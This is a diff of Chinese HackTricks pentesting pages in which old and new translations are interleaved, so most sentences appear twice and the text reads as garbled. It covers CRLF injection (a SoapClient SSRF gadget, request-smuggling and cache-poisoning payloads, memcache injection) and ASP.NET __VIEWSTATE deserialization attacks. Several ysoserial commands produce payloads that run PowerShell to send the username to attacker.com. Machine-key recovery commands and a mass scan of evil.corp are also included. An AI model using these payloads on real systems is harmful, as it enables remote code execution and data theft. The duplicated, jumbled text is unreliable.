如果攻击者能够注入激活CORS（跨域资源共享）的HTTP头，他可以使用JavaScript访问受同源策略（SOP）保护的资源，该策略防止不同源的站点相互访问。
|
||||
如果攻击者能够注入激活CORS（跨源资源共享）的HTTP头，他可以使用javascript访问本由SOP（同源策略）保护的资源，SOP阻止不同来源的站点相互访问。
|
||||
|
||||
### 在SSRF中创建新的HTTP请求
|
||||
### 在SSRF中的新HTTP请求
|
||||
|
||||
利用CRLF注入，您可以**构造一个新的HTTP请求并注入**它。\
|
||||
一个很好的例子是使用PHP中的`SoapClient`反序列化工具。该类**容易受到CRLF**注入，可以在`user_agent`参数中插入新的头部和正文内容。然而，您甚至可以利用这个漏洞来**注入一个新的HTTP请求**：
|
||||
滥用CRLF注入，你可以**构造一个新的HTTP请求并注入它**。\
|
||||
一个很好的例子可以使用PHP中的`SoapClient`反序列化小工具来完成。这个类对于`user_agent`参数内的**CRLF是**容易受到攻击的，允许**插入新的头和正文内容**。然而，你甚至可以利用这个漏洞来**注入一个新的HTTP请求：**
|
||||
```
|
||||
```php
|
||||
$target = 'http://127.0.0.1:9090/test';
|
||||
$post_string = 'variable=post value';
|
||||
|
|
@ -139,57 +147,56 @@ array(
|
|||
#Put a nc listening in port 9090
|
||||
$client->__soapCall("test", []);
|
||||
```
|
||||
### 请求劫持进行请求走私
|
||||
### 头注入到请求走私
|
||||
|
||||
您可以注入必要的标头，以确保**后端在响应初始请求后保持连接打开**：
|
||||
您可以注入关键头部，确保**后端在响应初始请求后保持连接开放**：
|
||||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
然后，**指定第二个请求**。这里有一个经典的[**请求走私**](http-request-smuggling/)，服务器在注入后附加了**额外的**头部/主体。
|
||||
然后，**指定第二个请求**。这里有一个**经典的**[**请求走私**](http-request-smuggling/)，服务器在注入后附加了**额外的** **头部/正文**。
|
||||
以下是跨用户利用的众多选项中的两个。
|
||||
|
||||
以下是两种跨用户利用的选项之一。
|
||||
|
||||
指定一个**恶意前缀**，以污染下一个用户的请求或者一个Web缓存：
|
||||
指定一个**恶意前缀**来污染下一个用户的请求，或者是网页缓存：
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
或者通过构造我们的前缀与尾部垃圾组合，创建一个完整的第二个请求，以触发**响应队列污染**。
|
||||
或者制作我们的前缀，与尾随的垃圾结合，创建一个完整的第二个请求，以触发**响应队列污染**。
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
有关此技术和潜在问题的更多信息，请[**查看原始来源**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。
|
||||
有关此技术和潜在问题的更多信息[**查看原始来源**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。
|
||||
|
||||
### Memcache注入
|
||||
### Memcache 注入
|
||||
|
||||
Memcache是一个使用明文协议的**键值存储**。更多信息请参见：
|
||||
Memcache 是一个**使用明文协议的键值存储**。更多信息在：
|
||||
|
||||
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
|
||||
[11211-memcache](../network-services-pentesting/11211-memcache/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
如果一个平台从HTTP请求中获取数据并在未经过消毒的情况下使用它来执行对memcache服务器的请求，攻击者可以利用这种行为来**注入新的memcache命令**。
|
||||
如果一个平台正在从 HTTP 请求中获取**数据，并且在未经消毒的情况下使用它来对**memcache**服务器进行**请求**，攻击者可以利用这种行为**注入新的 memcache 命令**。
|
||||
|
||||
例如，在最初发现的漏洞中，缓存键被用于返回用户应连接到的IP和端口，攻击者能够**注入memcache命令**，以便将受害者的详细信息（包括用户名和密码）发送到攻击者的服务器：
|
||||
例如，在最初发现的漏洞中，缓存键被用来返回用户应该连接的 IP 和端口，攻击者能够**注入 memcache 命令**，这些命令会**污染** **缓存，将受害者的详细信息**（包括用户名和密码）发送到攻击者的服务器：
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
此外，研究人员还发现他们可以解除memcache响应，将攻击者的IP和端口发送给攻击者不知道其电子邮件的用户：
|
||||
此外，研究人员还发现，他们可以解同步 memcache 响应，将攻击者的 ip 和端口发送给那些攻击者不知道电子邮件的用户：
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**要获取完整信息，请阅读**[**原始报告**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)**。**
|
||||
**要获取完整信息，请阅读**[**原始报告**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
|
||||
|
||||
## CRLF注入漏洞的影响
|
||||
## CRLF 注入漏洞的影响
|
||||
|
||||
CRLF注入的影响各不相同，还包括所有跨站脚本攻击的影响，如信息泄露。它还可以禁用受害者浏览器中的某些安全限制，如XSS过滤器和同源策略，使其容易受到恶意攻击。
|
||||
CRLF 注入的影响各不相同，还包括所有跨站脚本攻击到信息泄露的影响。它还可以禁用某些安全限制，如 XSS 过滤器和受害者浏览器中的同源策略，使他们容易受到恶意攻击。
|
||||
|
||||
### 如何预防Web应用程序中的CRLF / HTTP头注入
|
||||
### 如何在 Web 应用程序中预防 CRLF / HTTP 头注入
|
||||
|
||||
最佳的预防技术是不直接在响应头中使用用户输入。如果不可能，应始终使用函数对CRLF特殊字符进行编码。另一个良好的Web应用程序安全最佳实践是将编程语言更新到不允许在设置HTTP头的函数中注入CR和LF的版本。
|
||||
最佳预防技术是不要直接在响应头中使用用户输入。如果这不可能，你应该始终使用一个函数来编码 CRLF 特殊字符。另一个良好的 Web 应用程序安全最佳实践是更新你的编程语言到一个版本，该版本不允许在设置 HTTP 头的函数中注入 CR 和 LF。
|
||||
|
||||
### CHEATSHEET
|
||||
### 速查表
|
||||
```
|
||||
1. HTTP Response Splitting
|
||||
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
|
||||
|
|
@ -225,9 +232,9 @@ CRLF注入的影响各不相同，还包括所有跨站脚本攻击的影响，
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果您对**黑客职业**感兴趣，并且想要黑进那些不可黑的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -235,10 +242,10 @@ CRLF注入的影响各不相同，还包括所有跨站脚本攻击的影响，
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗？您想在HackTricks中看到您的**公司广告**吗？或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？您想在**HackTricks**中看到您的**公司广告**吗？或者您想要访问**最新版本的PEASS或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,68 +1,68 @@
|
|||
# 在不知道密钥的情况下利用\_\_VIEWSTATE
|
||||
# 利用 \_\_VIEWSTATE 在不知道秘密的情况下
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？您想在**HackTricks**中看到您的**公司广告**吗？或者您想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f)或[**telegram 群组**](https://t.me/peass)或在**推特**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标——我们正在招聘！（需要流利的波兰语书写和口语能力）。
|
||||
如果您对**黑客职业**感兴趣并且想要黑入不可黑入的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 什么是ViewState
|
||||
## 什么是 ViewState
|
||||
|
||||
**ViewState**是ASP.NET框架默认使用的方法，用于在网页之间**保留页面和控件的值**。当页面的HTML被渲染时，页面的当前状态和需要在postback期间保留的值被序列化为base64编码的字符串，并输出到ViewState隐藏字段中。\
|
||||
以下属性或属性组合适用于ViewState信息：
|
||||
**ViewState** 是 ASP.NET 框架默认使用的方法，用于在网页之间**保留页面和控件值**。当页面的 HTML 被渲染时，页面的当前状态和需要在回发期间保留的值会被序列化成 base64 编码的字符串，并输出到 ViewState 隐藏字段或字段中。
|
||||
以下属性或属性组合适用于 ViewState 信息：
|
||||
|
||||
* Base64
|
||||
* 可以使用EnableViewStateMac和ViewStateEncryptionMode属性设置为false来定义
|
||||
* 可以通过将 EnableViewStateMac 和 ViewStateEncryptionMode 属性设置为 false 来定义
|
||||
* Base64 + MAC（消息认证码）启用
|
||||
* 可以使用EnableViewStateMac属性设置为true来定义
|
||||
* 可以通过将 EnableViewStateMac 属性设置为 true 来定义
|
||||
* Base64 + 加密
|
||||
* 可以使用viewStateEncryptionMode属性设置为true来定义
|
||||
* 可以通过将 viewStateEncryptionMode 属性设置为 true 来定义
|
||||
|
||||
## **测试案例**
|
||||
|
||||
 (2).png>)
|
||||
|
||||
### 测试案例：1 – EnableViewStateMac=false and viewStateEncryptionMode=false
|
||||
### 测试案例 1 – EnableViewStateMac=false 和 viewStateEncryptionMode=false
|
||||
|
||||
还可以通过在以下位置将`AspNetEnforceViewStateMac`注册表键设置为零来完全禁用ViewStateMAC：
|
||||
通过在以下位置将 `AspNetEnforceViewStateMac` 注册表键设置为零，也可以完全禁用 ViewStateMAC：
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
**识别ViewState属性**
|
||||
|
||||
您可以尝试使用BurpSuite捕获包含此参数的请求来确定是否使用MAC保护ViewState：
|
||||
您可以尝试通过使用BurpSuite捕获包含此参数的请求来识别ViewState是否受到MAC保护：
|
||||
|
||||
|
||||
|
||||
如果未使用Mac来保护该参数，您可以使用[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)来利用它。
|
||||
如果没有使用Mac来保护该参数，您可以使用[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)来利用它。
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
```
|
||||
### 测试案例 1.5 - 类似于测试案例 1，但服务器未发送 ViewState cookie
|
||||
### 测试案例 1.5 – 类似测试案例 1，但服务器没有发送 ViewState cookie
|
||||
|
||||
开发人员可以通过将 ViewState 从 HTTP 请求中移除（用户将不会收到此 cookie）来防止 ViewState 成为请求的一部分。\
|
||||
有人可能会认为，如果 ViewState 不存在，他们的实现就不会受到 ViewState 反序列化可能引发的任何潜在漏洞的影响。\
|
||||
然而，事实并非如此。如果我们将 ViewState 参数添加到请求体中，并发送使用 ysoserial 创建的序列化有效负载，我们仍然能够实现代码执行，就像案例 1 中所示。
|
||||
开发者可以**移除 ViewState**，使其不成为 HTTP 请求的一部分（用户不会接收到这个 cookie）。\
|
||||
人们可能会认为，如果**没有 ViewState**，他们的实现就是从任何潜在的 ViewState 反序列化漏洞中**安全**的。\
|
||||
然而，情况并非如此。如果我们在请求体中**添加 ViewState 参数**并发送我们使用 ysoserial 创建的序列化有效载荷，我们仍然能够像在**案例 1**中展示的那样实现**代码执行**。
|
||||
|
||||
### 测试案例：2 - .Net < 4.5 且 EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
### 测试案例：2 – .Net < 4.5 且 EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
为了为特定页面启用 ViewState MAC，我们需要对特定的 aspx 文件进行以下更改：
|
||||
为了针对**特定页面** **启用 ViewState MAC**，我们需要对特定的 aspx 文件进行以下更改：
|
||||
```bash
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
我们还可以通过在**web.config**文件中进行设置来对整个应用程序进行设置，如下所示：
|
||||
我们也可以通过在 **web.config** 文件中设置，对**整个**应用程序进行操作，如下所示：
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<configuration>
|
||||
|
|
@ -73,32 +73,34 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
|||
</system.web>
|
||||
</configuration>
|
||||
```
|
||||
由于该参数受到MAC保护，为了成功执行攻击，我们首先需要获取使用的密钥。在这种情况下，BurpSuite将告诉我们该参数受到MAC保护：
|
||||
由于参数这次受到MAC保护，要成功执行攻击，我们首先需要用到的密钥。在这种情况下，BurpSuite会告诉我们参数受到MAC保护：
|
||||
|
||||
|
||||
|
||||
您可以尝试使用[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)来查找使用的密钥。
|
||||
你可以尝试使用[**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)来找到使用的密钥。
|
||||
```
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
|
||||
|
||||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
```markdown
|
||||
|
||||
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) 是另一个可以识别已知 machineKeys 的工具。它是用 Python 编写的，所以与 Blacklist3r 不同，它没有 Windows 依赖。对于 .NET viewstates，有一个名为 "python blacklist3r" 的实用程序，这是使用它的最快方法。
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) 是另一个可以识别已知 machineKeys 的工具。它是用 Python 编写的，因此与 Blacklist3r 不同，它不依赖 Windows。对于 .NET viewstates，有一个 "python blacklist3r" 工具，这是使用它的最快方式。
|
||||
|
||||
它可以直接提供 viewstate 和 generator：
|
||||
```
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
|
||||
```
|
||||
|
||||
|
||||
```markdown
|
||||
或者，它可以直接连接到目标URL，并尝试从HTML中提取viewstate：
|
||||
```
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
cd badsecrets
|
||||
|
|
@ -106,53 +108,57 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
|||
```
|
||||
|
||||
|
||||
为了在规模上搜索易受攻击的视图状态，可以结合子域枚举使用`badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md)模块：
|
||||
要大规模搜索易受攻击的viewstates，并结合子域名枚举，可以使用`badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md)模块：
|
||||
```
|
||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||
```markdown
|
||||
|
||||
|
||||
如果你很幸运地找到了密钥，你可以使用[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)继续攻击：
|
||||
如果你运气好，找到了密钥，你可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** 继续进行攻击。
|
||||
```
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
在服务器没有发送`_VIEWSTATEGENERATOR`参数的情况下，您无需提供`--generator`参数，但需要提供以下参数：
|
||||
在服务器**未发送** `_VIEWSTATEGENERATOR` 参数的情况下，您**不需要**提供 `--generator` 参数，**但需要提供这些**：
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
### 测试案例：3 – .Net < 4.5 和 EnableViewStateMac=true/false 以及 ViewStateEncryptionMode=true
|
||||
### 测试案例：3 - .Net < 4.5 且 EnableViewStateMac=true/false 以及 ViewStateEncryptionMode=true
|
||||
|
||||
在这种情况下，Burp无法识别参数是否受到MAC保护，因为它无法识别这些值。因此，该值可能已加密，您将**需要使用Machine Key来加密您的有效载荷**以利用此漏洞。
|
||||
在这种情况下，Burp无法发现参数是否受到MAC保护，因为它无法识别这些值。然后，该值可能被加密，您将**需要机器密钥来加密您的有效载荷**以利用该漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
**在这种情况下，**[**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...**
|
||||
**在这种情况下** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...**
|
||||
|
||||
在.NET 4.5之前，即使将`ViewStateEncryptionMode`设置为**Always**，ASP.NET也可以**接受**用户的**未加密**的\_`__VIEWSTATE`\_参数。ASP.NET只检查请求中是否存在**`__VIEWSTATEENCRYPTED`**参数。**如果删除此参数并发送未加密的有效载荷，它仍将被处理。**
|
||||
**在.NET 4.5之前**，ASP.NET可以**接受**来自用户的**未加密的**\_`__VIEWSTATE`\_参数，**即使**已将**`ViewStateEncryptionMode`**设置为_**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`**参数的**存在**。**如果移除此参数，并发送未加密的有效载荷，它仍将被处理。**
|
||||
|
||||
因此，如果已知Machinekey（例如通过目录遍历问题），可以使用**案例2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令来利用ViewState反序列化漏洞执行RCE。
|
||||
因此，如果已知机器密钥（例如，通过目录遍历问题），在**案例2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令，可以用来利用ViewState反序列化漏洞执行RCE。
|
||||
|
||||
* 从请求中删除`__VIEWSTATEENCRYPTED`参数以利用ViewState反序列化漏洞，否则将返回ViewState MAC验证错误，并且利用将失败，如下图所示：
|
||||
* 从请求中移除`__VIEWSTATEENCRYPTED`参数以利用ViewState反序列化漏洞，否则它将返回一个Viewstate MAC验证错误，并且如图所示，利用将失败：
|
||||
|
||||
|
||||
|
||||
|
||||
### 测试案例：4 – .Net >= 4.5 和 EnableViewStateMac=true/false 以及 ViewStateEncryptionMode=true/false，除非两个属性都设置为false
|
||||
### 测试案例：4 - .Net >= 4.5 且 EnableViewStateMac=true/false 以及 ViewStateEncryptionMode=true/false 除了两个属性都为false
|
||||
|
||||
我们可以通过在web.config文件中指定以下参数来强制使用ASP.NET框架，如下所示。
|
||||
```markup
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
或者，可以通过在web.config文件的`machineKey`参数中指定以下选项来完成。
|
||||
```markdown
|
||||
或者，可以通过在 web.config 文件的 `machineKey` 参数内指定以下选项来完成。
|
||||
```
|
||||
```bash
|
||||
compatibilityMode="Framework45"
|
||||
```
|
||||
与之前的情况一样，Burp无法识别请求是否受到MAC保护，因为**值是加密的**。因此，为了发送**有效的有效负载，攻击者需要密钥**。
|
||||
在之前的案例中，Burp无法识别请求是否受到MAC保护，因为**值是加密的。**因此，为了发送**有效的payload，攻击者需要密钥**。
|
||||
|
||||
|
||||
|
||||
您可以尝试使用[**Blacklist3r（AspDotNetWrapper.exe）**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)来查找正在使用的密钥：
|
||||
你可以尝试使用[**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)来找到正在使用的密钥：
|
||||
```
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
|
||||
|
||||
|
|
@ -160,54 +166,56 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
|||
--IISDirPath = {Directory path of website in IIS}
|
||||
--TargetPagePath = {Target page path in application}
|
||||
```
|
||||
有关IISDirPath和TargetPagePath的更详细描述，请参考[这里](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
有关 IISDirPath 和 TargetPagePath 的更详细描述，请[参考此处](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
|
||||
|
||||
或者，使用[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)（带有生成器值）：
|
||||
或者，使用带有生成器值的 [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)：
|
||||
```
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||
```
|
||||
```markdown
|
||||
|
||||
|
||||
一旦确定了有效的机器密钥，**下一步是使用** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **生成序列化的有效负载**。
|
||||
一旦确认了有效的 Machine key，**下一步是使用** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **生成序列化的有效载荷**
|
||||
```
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
如果你有`__VIEWSTATEGENERATOR`的值，你可以尝试使用`--generator`参数和该值，并省略`--path`和`--apppath`参数。
|
||||
如果您有 `__VIEWSTATEGENERATOR` 的值，您可以尝试使用 `--generator` 参数并带上该值，**省略** `--path` 和 `--apppath` 参数。
|
||||
|
||||
|
||||
|
||||
